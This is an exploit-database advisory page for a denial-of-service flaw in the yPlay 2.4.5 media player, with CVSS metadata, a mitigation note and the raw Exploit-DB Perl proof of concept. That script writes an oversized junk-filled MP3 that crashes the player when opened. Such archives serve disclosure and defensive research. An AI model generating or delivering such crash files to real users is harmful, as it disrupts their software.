header-logo
Suggest Exploit
vendor:
yPlay
by:
ABDI MOHAMED
7,5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: yPlay
Affected Version From: 2.4.5
Affected Version To: 2.4.5
Patch Exists: YES
Related CWE: N/A
CPE: //a:spacejock:yplay
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 Ultimate, Windows XP SP2
2020

yPlay Denial of Service Vulnerability

A malicious MP3 file with a size of 707570 bytes can be created to cause a Denial of Service in yPlay version 2.4.5. The file must be opened with yPlay to cause the Denial of Service.

Mitigation:

Update to the latest version of yPlay.
Source

Exploit-DB raw data:

#Exploit Title : yPlay Denial of Service Vulnerability
#Software : yPlay 
#Software link : http://www.spacejock.m6.net/files/yPlayFull.exe
#Autor : ABDI MOHAMED
#Email : abdimohamed@hotmail.fr
#greetz: net_own3r , sadhacker , net-decrypt3r , xa7m3d , the commander , mr.fearfactor and all tunisian hackers
#Software version : 2.4.5
#Tested on : Win7 Ultimate fr + win xp sp 2
my $file="Crash.mp3";
my $junk="A"x707570;
open(POOH,">$file");
print POOH $junk;
print "[+]Malicious File created successfully!\n";
print "[+]Discovered and Coded by abdimohamed \n";
close(POOH);

Navigation

Suggest Exploit

Services By CQR